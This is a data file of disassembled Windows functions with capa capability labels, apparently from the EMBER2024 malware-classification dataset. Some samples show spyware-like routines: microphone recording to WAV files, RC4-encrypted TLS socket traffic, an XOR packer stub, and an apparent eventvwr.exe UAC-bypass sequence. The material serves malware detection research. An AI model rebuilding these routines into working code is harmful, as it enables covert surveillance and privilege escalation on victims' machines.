joyce8/EMBER2024-capa huggingface dataset:
Function at 0x404fc0
Capabilities:
Check for time delay via gettickcount

Disassembly:
push ebx
push esi
push edi
push ebp
add esp, 0xfffffff0
mov edi, edx
mov esi, eax
mov ebp, dword [esi + 0x10]
mov eax, esi
call fcn.00405470
mov byte [esp], al
cmp byte [esp], 0
jne 0x405149
test edi, edi
je 0x405149
mov byte [esp + 1], 0
test ebp, ebp
jle 0x405089
call sub.kernel32.dll_GetTickCount
mov dword [esp + 4], eax
xor eax, eax
mov dword [esp + 0xc], eax
test ebp, ebp
jle 0x405064
cmp edi, 0xffffffff
je 0x405025
call sub.kernel32.dll_GetTickCount
sub eax, dword [esp + 4]
cmp edi, eax
ja 0x405025
mov byte [esp], 0
jmp 0x405149
cmp dword [esi], 1
jg 0x405064
cmp dword [esi], 0
jne 0x405056
xor eax, eax
mov edx, 1
lock cmpxchg dword [esi], edx
test eax, eax
jne 0x405056
call sub.kernel32.dll_GetCurrentThreadId
mov dword [esi + 8], eax
mov dword [esi + 4], 1
mov byte [esp], 1
jmp 0x405149
lea eax, [esp + 0xc]
call fcn.00404c7c
dec ebp
test ebp, ebp
jg 0x40500a
cmp edi, 0xffffffff
je 0x405089
call sub.kernel32.dll_GetTickCount
mov dword [esp + 8], eax
mov eax, dword [esp + 8]
sub eax, dword [esp + 4]
cmp edi, eax
ja 0x405087
mov byte [esp], 0
jmp 0x405149
sub edi, eax
mov ebx, dword [esi]
test ebx, ebx
je 0x404fce
lea edx, [ebx + 2]
mov eax, ebx
lock cmpxchg dword [esi], edx
cmp ebx, eax
jne 0x405089
call sub.kernel32.dll_GetTickCount
mov dword [esp + 4], eax
mov eax, esi
call fcn.004051c4
mov edx, eax
mov ebx, dword [0x40d8e0]
mov ecx, edi
xor eax, eax
call dword [ebx + 0x10]
test eax, eax
sete byte [esp]
cmp edi, 0xffffffff
je 0x4050ed
call sub.kernel32.dll_GetTickCount
mov dword [esp + 8], eax
mov eax, dword [esp + 8]
sub eax, dword [esp + 4]
cmp edi, eax
jbe 0x4050eb
mov eax, dword [esp + 8]
sub eax, dword [esp + 4]
sub edi, eax
jmp 0x4050ed
xor edi, edi
cmp byte [esp], 0
je 0x405113
mov ebx, dword [esi]
test bl, 1
jne 0x405129
mov edx, ebx
sub edx, 2
or edx, 1
mov eax, ebx
lock cmpxchg dword [esi], edx
cmp ebx, eax
jne 0x4050f3
mov byte [esp + 1], 1
jmp 0x405129
mov ebx, dword [esi]
mov edx, ebx
sub edx, 2
mov eax, ebx
lock cmpxchg dword [esi], edx
cmp ebx, eax
jne 0x405113
mov byte [esp + 1], 1
cmp byte [esp + 1], 0
je 0x4050a0
cmp byte [esp], 0
je 0x405149
call sub.kernel32.dll_GetCurrentThreadId
mov dword [esi + 8], eax
mov dword [esi + 4], 1
movzx eax, byte [esp]
add esp, 0x10
pop ebp
pop edi
pop esi
pop ebx
ret

Function at 0x405c88
Capabilities:
Write file on windows

Disassembly:
push ecx
cmp byte [0x40d040], 0
je 0x405cef
cmp word [0x40d32c], 0xd7b2
jne 0x405cb1
cmp dword [0x40d334], 0
jbe 0x405cb1
mov eax, 0x40d328
call dword [0x40d344]
push 0
lea eax, [esp + 4]
push eax
push 0x1d
push str.Runtime_error_____at_00000000
push 0xfffffffffffffff5
call sub.kernel32.dll_GetStdHandle
push eax
call sub.kernel32.dll_WriteFile
push 0
lea eax, [esp + 4]
push eax
push 2
mov eax, 0x405d1c
call fcn.00406098
push eax
push 0xfffffffffffffff5
call sub.kernel32.dll_GetStdHandle
push eax
call sub.kernel32.dll_WriteFile
pop edx
ret
cmp byte [0x40c01a], 0
jne 0x405d0b
push 0
push str.Error
push str.Runtime_error_____at_00000000
push 0
call sub.user32.dll_MessageBoxA
pop edx
ret
Function at 0x40823c
Capabilities:
Get system information on windows

Disassembly:
add esp, 0xffffffdc
push esp
call sub.kernel32.dll_GetSystemInfo
mov eax, dword [esp + 0x14]
add esp, 0x24
ret
Function at 0x40e413
Capabilities:
Terminate process

Disassembly:
push 0xc
push 0x40ec58
call fcn.0040e998
xor ebx, ebx
mov dword [ebp - 4], ebx
mov eax, dword fs:[0x18]
mov esi, dword [eax + 4]
mov edi, ebx
mov edx, 0x40fc60
mov ecx, esi
xor eax, eax
lock cmpxchg dword [edx], ecx
test eax, eax
je 0x40e458
cmp eax, esi
jne 0x40e44b
xor esi, esi
inc esi
mov edi, esi
jmp 0x40e45b
push 0x3e8
call dword [sym.imp.KERNEL32.dll_Sleep]
jmp 0x40e42f
xor esi, esi
inc esi
cmp dword [0x40fc64], esi
jne 0x40e46d
push 0x1f
call sub.msvcrt.dll__amsg_exit
pop ecx
jmp 0x40e4a7
cmp dword [0x40fc64], ebx
jne 0x40e4a1
mov dword [0x40fc64], esi
push 0x4011ec
push 0x4011e0
call fcn.0040e58c
pop ecx
pop ecx
test eax, eax
je 0x40e4a7
mov dword [ebp - 4], 0xfffffffe
mov eax, 0xff
jmp 0x40e57c
mov dword [0x40f08c], esi
cmp dword [0x40fc64], esi
jne 0x40e4ca
push 0x4011dc
push 0x4011d4
call sub.msvcrt.dll__initterm
pop ecx
pop ecx
mov dword [0x40fc64], 2
test edi, edi
jne 0x40e4d7
xor eax, eax
mov ecx, 0x40fc60
xchg dword [ecx], eax
cmp dword [0x40fc68], 0
je 0x40e503
push 0x40fc68
call fcn.0040e7f0
pop ecx
test eax, eax
je 0x40e503
push ebx
push 2
push ebx
mov esi, dword [0x40fc68]
mov ecx, esi
call dword [0x410144]
call esi
push dword [0x40f098]
push dword [0x40f094]
push dword [0x40f090]
call fcn.0040923f
add esp, 0xc
mov dword [0x40f088], eax
cmp dword [0x40f0a0], 0
jne 0x40e561
push eax
call dword [sym.imp.msvcrt.dll_exit]
mov ecx, dword [ebp - 0x14]
mov eax, dword [ecx]
mov eax, dword [eax]
mov dword [ebp - 0x1c], eax
push ecx
push eax
call sub.msvcrt.dll__XcptFilter
pop ecx
pop ecx
ret
cmp dword [0x40f08c], 0
jne 0x40e575
call dword [sym.imp.msvcrt.dll__cexit]
mov eax, dword [0x40f088]
mov dword [ebp - 4], 0xfffffffe
mov ecx, dword [ebp - 0x10]
mov dword fs:[0], ecx
pop ecx
pop edi
pop esi
pop ebx
leave
ret
call fcn.0049f000
jmp 0x40e413

Function at 0x40e6d4
Capabilities:
Parse pe header

Disassembly:
push 0xc
push 0x40ec78
call fcn.0040e998
xor ecx, ecx
mov eax, dword [ebp + 8]
test eax, eax
je 0x40e734
cmp eax, 0xffffffff
je 0x40e734
mov dword [ebp - 4], ecx
mov edx, 0x5a4d
cmp word [eax], dx
jne 0x40e72d
mov edx, dword [eax + 0x3c]
test edx, edx
js 0x40e72d
cmp edx, 0x10000000
jae 0x40e72d
add eax, edx
mov dword [ebp - 0x1c], eax
mov ecx, dword [eax]
sub ecx, 0x4550
neg ecx
sbb ecx, ecx
not ecx
and ecx, eax
jmp 0x40e72a
mov dword [ebp - 0x1c], ecx
mov dword [ebp - 4], 0xfffffffe
mov eax, ecx
mov ecx, dword [ebp - 0x10]
mov dword fs:[0], ecx
pop ecx
pop edi
pop esi
pop ebx
leave
ret 4

Function at 0x40e7a0
Capabilities:
Enumerate pe sections

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
mov eax, dword [ebp + 8]
xor edx, edx
push ebx
push esi
push edi
mov ecx, dword [eax + 0x3c]
add ecx, eax
movzx eax, word [ecx + 0x14]
movzx ebx, word [ecx + 6]
add eax, 0x18
add eax, ecx
test ebx, ebx
je 0x40e7de
mov edi, dword [ebp + 0xc]
mov esi, dword [eax + 0xc]
cmp edi, esi
jb 0x40e7d6
mov ecx, dword [eax + 8]
add ecx, esi
cmp edi, ecx
jb 0x40e7e0
inc edx
add eax, 0x28
cmp edx, ebx
jb 0x40e7c6
xor eax, eax
pop edi
pop esi
pop ebx
pop ebp
ret
Function at 0x403d61
Capabilities:
Encode data using xor

Disassembly:
push eax
push ebx
mov eax, 0x499
mov ecx, 0x404498
mov bl, byte [ecx]
sub bl, 0xf2
rol bl, 2
sub bl, cl
ror bl, 1
mov byte [ecx], bl
dec ecx
dec eax
jne 0x403d6d
mov eax, 0x261d
mov ecx, 0x403764
mov bl, byte [ecx]
rol bl, 7
ror bl, 2
sub bl, cl
xor bl, 0x91
mov byte [ecx], bl
dec ecx
dec eax
jne 0x403d8a
pop ebx
pop eax
add ecx, 0x2c1a
jmp ecx

Function at 0x430000
Capabilities:
Encode data using xor
Packed with generic packer

Disassembly:
pushal
nop
nop
nop
nop
nop
nop
mov eax, section..text
nop
mov ebx, 0x408ecc
mov ecx, 0x474631b9
nop
nop
nop
test eax, eax
nop
nop
nop
je 0x43004e
nop
nop
nop
nop
nop
xor dword [eax], ecx
nop
nop
inc eax
nop
nop
nop
nop
nop
nop
nop
nop
nop
inc eax
nop
inc eax
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
inc eax
nop
nop
nop
cmp eax, ebx
nop
nop
nop
nop
nop
jne 0x430024
nop
mov eax, section..data
nop
mov ebx, 0x42e1d0
nop
mov ecx, 0x71316923
nop
nop
test eax, eax
nop
nop
nop
nop
je 0x430084
nop
nop
nop
xor dword [eax], ecx
nop
nop
nop
nop
nop
add eax, 4
nop
nop
nop
nop
cmp eax, ebx
nop
nop
nop
jne 0x43006c
nop
nop
nop
nop
nop
nop
nop
popal
jmp 0x401219
Function at 0x40bfc8
Capabilities:
Accept command line arguments

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x50
nop
lea eax, [ebp - 0x44]
push eax
call sub.kernel32.dll_GetStartupInfoA
mov eax, dword [ebp - 0x18]
and eax, 1
cmp eax, 0
je 0x40bff6
movzx eax, word [ebp - 0x14]
mov dword [ebp - 0x50], eax
jmp 0x40bffe
mov eax, 0xa
mov dword [ebp - 0x50], eax
mov eax, 0
mov dword [ebp - 0x48], eax
call sub.kernel32.dll_GetCommandLineA
mov dword [ebp - 0x4c], eax
mov eax, dword [ebp + 8]
cmp eax, 0
je 0x40c02d
mov eax, dword [ebp + 8]
push eax
mov eax, dword [ebp - 0x4c]
push eax
call sub.msvcrt.dll_strstr
add esp, 8
mov dword [ebp - 0x48], eax
mov eax, 0
mov ecx, dword [ebp - 0x48]
cmp eax, ecx
jne 0x40c053
mov eax, 0x418f20
push eax
call sub.msvcrt.dll__strdup
add esp, 4
mov dword [ebp - 0x48], eax
jmp 0x40c07c
mov eax, dword [ebp - 0x48]
mov ecx, dword [ebp - 0x4c]
cmp eax, ecx
jbe 0x40c07c
mov eax, dword [ebp - 0x48]
add eax, 0xffffffff
movsx ecx, byte [eax]
cmp ecx, 0x22
jne 0x40c07c
mov eax, dword [ebp - 0x48]
add eax, 0xffffffff
mov dword [ebp - 0x48], eax
mov eax, 0x30000
push eax
mov eax, 0x10000
push eax
call sub.msvcrt.dll__controlfp
add esp, 8
mov eax, 0
push eax
call sub.kernel32.dll_GetModuleHandleA
mov ecx, dword [ebp - 0x50]
push ecx
mov ecx, dword [ebp - 0x48]
push ecx
mov ecx, 0
push ecx
push eax
call fcn.0040bc7e
leave
ret
Function at 0x916ef
Capabilities:
Capture microphone audio

Disassembly:
push ebx
push esi
push edi
lea eax, [esp + 0x14]
mov esi, ecx
push eax
mov ecx, 0x101d30
mov edi, edx
call fcn.00091fa0
mov edx, dword [esp + 0x10]
xor eax, eax
inc eax
movzx ebx, di
mov word [0xffa98], ax
shr ebx, 3
movzx eax, si
imul eax, ebx
movd xmm0, edx
cvtdq2pd xmm0, xmm0
mov dword [0xffa9c], edx
mov word [0xffaa6], di
shr di, 3
movzx ecx, di
push 0x30008
imul eax, edx
shr edx, 0x1f
mov word [0xffa9a], si
addsd xmm0, qword [edx*8 + 0xf9e70]
mov dword [0xffaa0], eax
movzx eax, si
xor esi, esi
imul ecx, eax
xor eax, eax
mov word [0xffaa8], ax
cvtpd2ps xmm0, xmm0
push esi
push 0x9184a
push 0xffa98
push 0xffffffffffffffff
push 0xffab8
mov word [0xffaa4], cx
mulss xmm0, dword [0xf9e1c]
cvttss2si eax, xmm0
imul ebx, eax
mov dword [0xffaac], eax
mov dword [0xffa70], ebx
call dword [sym.imp.WINMM.dll_waveInOpen]
mov ecx, esi
call fcn.000917cc
inc esi
cmp esi, 2
jb 0x917a7
push dword [0xffab8]
call dword [sym.imp.WINMM.dll_waveInStart]
pop edi
pop esi
lea ecx, [esp + 0xc]
pop ebx
jmp fcn.00091fb8

Function at 0x917cc
Capabilities:
Capture microphone audio

Disassembly:
push ebx
push ebp
push esi
push edi
push dword [0xffa70]
mov esi, ecx
mov ebp, 0x101cf0
push esi
mov ecx, ebp
call fcn.00091e45
mov ecx, eax
call fcn.00091f7d
mov edi, dword [0x101d2c]
mov ebx, esi
shl ebx, 5
mov ecx, ebp
push esi
add edi, ebx
call fcn.00091e45
mov ecx, eax
call fcn.00091f8b
mov dword [edi], eax
mov eax, dword [0xffa70]
mov dword [edi + 4], eax
xor eax, eax
push 0x20
push edi
mov dword [edi + 8], eax
mov dword [edi + 0xc], eax
mov dword [edi + 0x10], eax
mov dword [edi + 0x14], eax
push dword [0xffab8]
call dword [sym.imp.WINMM.dll_waveInPrepareHeader]
mov eax, dword [0x101d2c]
push 0x20
add eax, ebx
push eax
push dword [0xffab8]
call dword [sym.imp.WINMM.dll_waveInAddBuffer]
pop edi
pop esi
pop ebp
pop ebx
ret
Function at 0x91a4d
Capabilities:
Write file on windows

Disassembly:
sub esp, 0x1c
push ebx
push ebp
push esi
movzx esi, word [0xffaa6]
mov ebx, edx
push edi
movzx edi, word [0xffa9a]
xor ebp, ebp
imul esi, edi
push ebp
push 0x80
push 2
push ebp
mov eax, esi
mov dword [esp + 0x2c], 1
imul eax, dword [0xffa9c]
push ebp
push 0x40000000
push ecx
mov dword [esp + 0x34], 0x10
shr eax, 3
mov dword [esp + 0x3c], eax
mov eax, esi
cdq
and edx, 7
add eax, edx
sar eax, 3
mov dword [esp + 0x40], eax
mov eax, dword [ebx + 4]
imul eax, edi
mov dword [esp + 0x44], eax
add eax, 0x24
mov dword [esp + 0x30], eax
call dword [sym.imp.KERNEL32.dll_CreateFileW]
mov edi, eax
cmp edi, 0xffffffff
jne 0x91acd
xor al, al
jmp 0x91bc1
mov esi, dword [sym.imp.KERNEL32.dll_WriteFile]
lea eax, [esp + 0x10]
push ebp
push eax
push 4
pop ebp
push ebp
push 0xf2d90
push edi
call esi
push 0
lea eax, [esp + 0x14]
push eax
push ebp
lea eax, [esp + 0x20]
push eax
push edi
call esi
push 0
lea eax, [esp + 0x14]
push eax
push ebp
push str.WAVE
push edi
call esi
push 0
lea eax, [esp + 0x14]
push eax
push ebp
push str.fmt
push edi
call esi
push 0
lea eax, [esp + 0x14]
push eax
push ebp
lea eax, [esp + 0x24]
push eax
push edi
call esi
push 0
lea eax, [esp + 0x14]
push eax
push 2
lea eax, [esp + 0x28]
push eax
push edi
call esi
push 0
lea eax, [esp + 0x14]
push eax
push 2
push 0xffa9a
push edi
call esi
push 0
lea eax, [esp + 0x14]
push eax
push ebp
push 0xffa9c
push edi
call esi
push 0
lea eax, [esp + 0x14]
push eax
push ebp
lea eax, [esp + 0x2c]
push eax
push edi
call esi
push 0
lea eax, [esp + 0x14]
push eax
push 2
lea eax, [esp + 0x30]
push eax
push edi
call esi
push 0
lea eax, [esp + 0x14]
push eax
push 2
push 0xffaa6
push edi
call esi
push 0
lea eax, [esp + 0x14]
push eax
push ebp
push str.data
push edi
call esi
push 0
lea eax, [esp + 0x14]
push eax
push ebp
lea eax, [esp + 0x34]
push eax
push edi
call esi
push 0
lea ecx, [esp + 0x14]
push ecx
push dword [ebx + 4]
push dword [ebx]
push edi
call esi
push edi
call dword [sym.imp.KERNEL32.dll_CloseHandle]
mov al, 1
pop edi
pop esi
pop ebp
pop ebx
add esp, 0x1c
ret
Function at 0x948a8
Capabilities:
Connect socket

Disassembly:
push ebp
mov ebp, esp
mov eax, dword [0xffacc]
sub esp, 0x1c
push ebx
push edi
push dword [eax + 0x10]
mov edi, ecx
push dword [eax + 0x18]
push dword [edi + 4]
call dword [sym.imp.WS2_32.dll_connect]
test eax, eax
jne 0x949fb
cmp byte [edi + 1], al
je 0x949f7
cmp byte [edi + 0x31], al
je 0x94906
sub esp, 0x18
lea eax, [edi + 0x34]
mov ecx, esp
mov edx, str.TLS_Handshake...______
push eax
call fcn.000952fe
sub esp, 0x14
mov ecx, esp
push 0xf2f54
call fcn.00092073
call fcn.000a94da
add esp, 0x30
call fcn.000aea15
mov dword [edi + 0x4c], eax
test eax, eax
jne 0x94921
sub esp, 0x18
mov ecx, esp
push str.TLS_Error_1
jmp 0x94a5b
mov edx, dword [edi + 4]
mov ecx, eax
call fcn.000aec44
cmp eax, 1
je 0x94967
sub esp, 0x18
mov ecx, esp
push str.TLS_Error_2
call fcn.00092073
sub esp, 0x18
mov ecx, esp
push 0xf2eb8
call fcn.00092073
call fcn.000a94da
add esp, 0x30
mov ecx, dword [edi + 0x4c]
call fcn.000aea55
and dword [edi + 0x4c], 0
jmp 0x94a77
mov ecx, dword [edi + 0x4c]
call fcn.000af7f5
cmp eax, 1
je 0x949a4
sub esp, 0x18
mov ecx, esp
push str.TLS_Authentication_Failed
call fcn.00092073
sub esp, 0x18
mov ecx, esp
push 0xf2eb8
call fcn.00092073
call fcn.000a94da
mov ecx, dword [edi + 0x4c]
add esp, 0x30
call fcn.000aee67
jmp 0x94956
mov ecx, dword [edi + 0x4c]
call fcn.000aebbb
mov dword [edi + 0x50], eax
test eax, eax
jne 0x949d9
sub esp, 0x18
mov ecx, esp
push str.TLS_Error_3
call fcn.00092073
sub esp, 0x18
mov ecx, esp
push 0xf2eb8
call fcn.00092073
call fcn.000a94da
add esp, 0x30
xor ebx, ebx
push ebx
push 1
push ebx
push ebx
call dword [sym.imp.KERNEL32.dll_CreateEventW]
push ebx
push 1
push ebx
push ebx
mov dword [edi + 0x70], eax
call dword [sym.imp.KERNEL32.dll_CreateEventW]
mov dword [edi + 0x6c], eax
mov al, 1
jmp 0x94a79
cmp byte [edi + 0x31], 0
je 0x94a77
call dword [sym.imp.WS2_32.dll_WSAGetLastError]
mov ecx, eax
sub ecx, 0x2736
je 0x94a77
sub ecx, 0x17
je 0x94a51
mov edx, eax
lea ecx, [ebp - 0x1c]
call fcn.000aa86b
sub esp, 0x18
mov edx, str.Connection_Failed:
mov ecx, esp
push eax
call fcn.000952dd
sub esp, 0x14
mov ecx, esp
push 0xf2eb8
call fcn.00092073
call fcn.000a94da
add esp, 0x30
lea ecx, [ebp - 0x1c]
call fcn.00091fb8
jmp 0x94a77
sub esp, 0x18
mov ecx, esp
push str.Connection_Refused
call fcn.00092073
sub esp, 0x18
mov ecx, esp
push 0xf2eb8
call fcn.00092073
call fcn.000a94da
add esp, 0x30
xor al, al
pop edi
pop ebx
mov esp, ebp
pop ebp
ret 4
Function at 0x94a81
Capabilities:
Send data
Send data on socket

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x20
push ebx
push esi
push edi
mov edi, ecx
lea ecx, [ebp + 0xc]
call fcn.0009245c
push 4
pop esi
xor ebx, ebx
lea ecx, [ebp - 0x20]
push ebx
add eax, esi
push 0xc
mov dword [ebp - 8], eax
call fcn.000951ec
push esi
lea eax, [edi + 0x2c]
push eax
push ebx
lea ecx, [ebp - 0x20]
call fcn.000951c3
push eax
call fcn.000c46b0
add esp, 0xc
lea eax, [ebp - 8]
lea ecx, [ebp - 0x20]
push esi
push eax
push esi
call fcn.000951c3
push eax
call fcn.000c46b0
add esp, 0xc
lea eax, [ebp + 8]
lea ecx, [ebp - 0x20]
push esi
push eax
push 8
call fcn.000951c3
push eax
call fcn.000c46b0
add esp, 0xc
lea eax, [ebp + 0xc]
lea ecx, [ebp - 0x20]
push eax
call fcn.00093356
cmp byte [edi + 1], bl
jne 0x94b20
push ebx
lea ecx, [ebp - 0x20]
call fcn.0009245c
push eax
lea ecx, [ebp - 0x20]
call fcn.00091f8b
push eax
push dword [edi + 4]
call dword [sym.imp.WS2_32.dll_send]
mov esi, eax
jmp 0x94b5b
or ebx, 0xffffffff
push ebx
push dword [edi + 0x70]
call dword [sym.imp.KERNEL32.dll_WaitForSingleObject]
push ecx
lea ecx, [ebp - 0x20]
call fcn.0009245c
push eax
lea ecx, [ebp - 0x20]
call fcn.00091f8b
mov ecx, dword [edi + 0x50]
mov edx, eax
call fcn.000aedef
pop ecx
mov esi, eax
pop ecx
push dword [edi + 0x70]
test esi, esi
cmove esi, ebx
call dword [sym.imp.KERNEL32.dll_SetEvent]
lea ecx, [ebp - 0x20]
call fcn.00091fb8
lea ecx, [ebp + 0xc]
call fcn.00091fb8
pop edi
mov eax, esi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret 0x1c

Function at 0x94b76
Capabilities:
Receive data
Receive data on socket

Disassembly:
push esi
push edi
mov edi, ecx
cmp byte [edi + 1], 0
je 0x94bad
push 0xffffffffffffffff
push dword [edi + 0x6c]
call dword [sym.imp.KERNEL32.dll_WaitForSingleObject]
mov edx, dword [esp + 0xc]
push ecx
push dword [esp + 0x14]
mov ecx, dword [edi + 0x4c]
call fcn.000aee2b
pop ecx
pop ecx
push dword [edi + 0x6c]
mov esi, eax
call dword [sym.imp.KERNEL32.dll_SetEvent]
mov eax, esi
jmp 0x94bc0
push 0
push dword [esp + 0x14]
push dword [esp + 0x14]
push dword [edi + 4]
call dword [sym.imp.WS2_32.dll_recv]
pop edi
pop esi
ret 0xc

Function at 0x94bc5
Capabilities:
Create thread

Disassembly:
mov eax, dword [esp + 4]
mov dword [ecx + 8], eax
xor eax, eax
push eax
push eax
push ecx
push 0x94be1
push eax
push eax
call dword [sym.imp.KERNEL32.dll_CreateThread]
ret 4
Function at 0x94ca3
Capabilities:
Create thread

Disassembly:
sub esp, 0x38
and dword [esp + 4], 0
push ebx
push ebp
push esi
mov esi, ecx
lea ecx, [esp + 0x14]
push edi
and dword [esi + 0x54], 0
call fcn.000920bf
mov bh, byte [esp + 0x54]
lea eax, [esi + 0x58]
mov edi, dword [esp + 0x4c]
push eax
lea eax, [esp + 0x18]
mov ecx, edi
push eax
call fcn.00091f8b
push eax
mov ecx, esi
call fcn.00094edb
test al, al
je 0x94df3
movzx ecx, byte [esi + 0x30]
mov ebp, dword [esp + 0x14]
mov dword [esp + 0x54], ecx
add ebp, ecx
mov ecx, edi
call fcn.0009245c
cmp ebp, eax
jbe 0x94d11
mov ecx, edi
mov bl, 1
call fcn.0009245c
mov ecx, ebp
sub ecx, eax
mov dword [esi + 0x54], ecx
jmp 0x94d13
xor bl, bl
test bl, bl
jne 0x94df3
push 0xffffffffffffffff
push dword [esp + 0x58]
lea eax, [esp + 0x38]
mov ecx, edi
push eax
call fcn.00094182
push eax
lea ecx, [esp + 0x1c]
call fcn.00091fc2
lea ecx, [esp + 0x30]
call fcn.00091fb8
push dword [esp + 0x14]
lea eax, [esp + 0x34]
push 0
push eax
lea ecx, [esp + 0x24]
call fcn.00094182
push eax
lea ecx, [esp + 0x1c]
call fcn.00091fc2
lea ecx, [esp + 0x30]
call fcn.00091fb8
lea eax, [esp + 0x18]
test bh, bh
jne 0x94d84
sub esp, 0x18
mov ecx, esp
push eax
call fcn.000920d6
push esi
call dword [esp + 0x6c]
add esp, 0x1c
jmp 0x94dc1
push eax
lea ecx, [esi + 0xc]
call fcn.00091fa0
xor eax, eax
push eax
push eax
push eax
push eax
call dword [sym.imp.KERNEL32.dll_CreateEventA]
mov dword [esi + 0x24], eax
xor eax, eax
push eax
push eax
push esi
push dword [esp + 0x5c]
push eax
push eax
call dword [sym.imp.KERNEL32.dll_CreateThread]
push 0xffffffffffffffff
push dword [esi + 0x24]
call dword [sym.imp.KERNEL32.dll_WaitForSingleObject]
push dword [esi + 0x24]
call dword [sym.imp.KERNEL32.dll_CloseHandle]
push 0xffffffffffffffff
push ebp
lea eax, [esp + 0x38]
mov ecx, edi
push eax
call fcn.00094182
push eax
mov ecx, edi
call fcn.00091fc2
lea ecx, [esp + 0x30]
call fcn.00091fb8
mov ecx, edi
call fcn.0009245c
test eax, eax
lea eax, [esi + 0x58]
jne 0x94cc9
lea ecx, [esp + 0x18]
call fcn.00091fb8
pop edi
pop esi
pop ebp
pop ebx
add esp, 0x38
ret 0xc

Function at 0x94f31
Capabilities:
Create thread

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x28
push esi
mov esi, ecx
push edi
cmp byte [esi + 0x5c], 0
jne 0x94fca
cmp byte [ebp + 0xc], 0
mov edi, dword [ebp + 8]
jne 0x94f54
mov byte [esi + 0x7c], 1
jmp 0x94fa0
cmp byte [0xffd10], 0
je 0x94fa0
lea eax, [ebp - 0x10]
push eax
call dword [sym.imp.KERNEL32.dll_GetLocalTime]
mov edx, edi
lea ecx, [ebp - 0x28]
call fcn.000a9b16
sub esp, 0x18
mov edx, str.Connection_KeepAlive___Enabled__Timeout:
mov ecx, esp
push eax
call fcn.000952dd
sub esp, 0x14
mov ecx, esp
push 0xf2f54
call fcn.00092073
call fcn.000a94da
add esp, 0x30
lea ecx, [ebp - 0x28]
call fcn.00091fb8
mov dword [esi + 0x74], edi
xor edi, edi
push edi
push edi
push edi
push edi
mov byte [esi + 0x5c], 1
call dword [sym.imp.KERNEL32.dll_CreateEventA]
push edi
push edi
push esi
push 0x95130
push edi
push edi
mov dword [esi + 0x60], eax
call dword [sym.imp.KERNEL32.dll_CreateThread]
mov al, 1
jmp 0x94fcc
xor al, al
pop edi
pop esi
mov esp, ebp
pop ebp
ret 8
Function at 0x961e3
Capabilities:
Encrypt data using rc4 ksa

Disassembly:
push ebx
push ebp
push esi
xor esi, esi
push edi
mov edi, ecx
mov eax, esi
movd xmm0, eax
pshufd xmm0, xmm0, 0
paddd xmm0, xmmword [0xf9e60]
movups xmmword [edi + eax*4], xmm0
add eax, 4
cmp eax, 0x100
jl 0x961ed
mov ebp, dword [esp + 0x14]
mov ebx, esi
xor edx, edx
mov eax, ebx
div dword [esp + 0x18]
movzx eax, byte [edx + ebp]
add eax, dword [edi + ebx*4]
add esi, eax
and esi, 0x800000ff
jns 0x96233
dec esi
or esi, 0xffffff00
inc esi
mov cl, byte [edi + ebx*4]
mov eax, dword [edi + esi*4]
mov dword [edi + ebx*4], eax
inc ebx
movzx eax, cl
mov dword [edi + esi*4], eax
cmp ebx, 0x100
jl 0x96212
pop edi
pop esi
pop ebp
pop ebx
ret 8

Function at 0x96252
Capabilities:
Encrypt data using rc4 prga

Disassembly:
sub esp, 0x400
lea eax, [esp]
push ebx
push esi
push edi
push 0x400
push ecx
xor esi, esi
push eax
mov edi, esi
call fcn.000c46b0
mov edx, dword [esp + 0x420]
add esp, 0xc
mov ebx, esi
add edx, 1
je 0x962e2
push ebp
mov ebp, dword [esp + 0x414]
inc esi
and esi, 0x800000ff
jns 0x96298
dec esi
or esi, 0xffffff00
inc esi
mov eax, dword [esp + esi*4 + 0x10]
add edi, eax
and edi, 0x800000ff
jns 0x962ae
dec edi
or edi, 0xffffff00
inc edi
mov cl, al
mov eax, dword [esp + edi*4 + 0x10]
mov dword [esp + esi*4 + 0x10], eax
movzx eax, cl
mov dword [esp + edi*4 + 0x10], eax
mov ecx, dword [esp + esi*4 + 0x10]
add ecx, eax
and ecx, 0x800000ff
jns 0x962d5
dec ecx
or ecx, 0xffffff00
inc ecx
mov al, byte [esp + ecx*4 + 0x10]
xor byte [ebx + ebp], al
inc ebx
cmp ebx, edx
jb 0x96287
pop ebp
pop edi
pop esi
pop ebx
add esp, 0x400
ret 8

Function at 0x966a6
Capabilities:
Create process on windows
Terminate process

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x34
cmp dword [0xfe9c0], 0
push esi
je 0x966be
xor eax, eax
inc eax
jmp 0x9679b
call fcn.00096844
cmp eax, 0x3a9f
jge 0x9679b
push ecx
push 0xf3050
push 0xf30c8
mov edx, 0x80000000
lea ecx, [ebp - 0x18]
call fcn.000a1f91
pop ecx
pop ecx
mov esi, 0x102248
mov ecx, esi
call fcn.0009245c
push eax
mov ecx, esi
call fcn.00091f8b
push eax
lea ecx, [ebp - 0x18]
call fcn.0009245c
inc eax
lea ecx, [ebp - 0x18]
push eax
call fcn.00091f8b
push eax
push str.origmsc
mov ecx, 0x102200
call fcn.00091f8b
mov edx, eax
call fcn.000a2338
add esp, 0x18
push 2
sub esp, 0x18
mov ecx, esp
push 0xffb08
call fcn.0009415e
mov esi, 0xf9654
mov edx, 0xf30f0
push esi
mov ecx, 0x80000001
call fcn.000a2204
push str.eventvwr.exe
mov dl, 0x34
lea ecx, [ebp - 0x30]
call fcn.0009c5a1
add esp, 0x24
lea ecx, [ebp - 0x30]
push 0
push esi
push esi
call fcn.00091ee4
push eax
push 0xf30ac
push 0
call dword [sym.imp.SHELL32.dll_ShellExecuteW]
cmp eax, 0x20
jbe 0x96788
push 0
call dword [sym.imp.KERNEL32.dll_ExitProcess]
lea ecx, [ebp - 0x30]
call fcn.00091ee9
lea ecx, [ebp - 0x18]
call fcn.00091fb8
push 2
pop eax
pop esi
mov esp, ebp
pop ebp
ret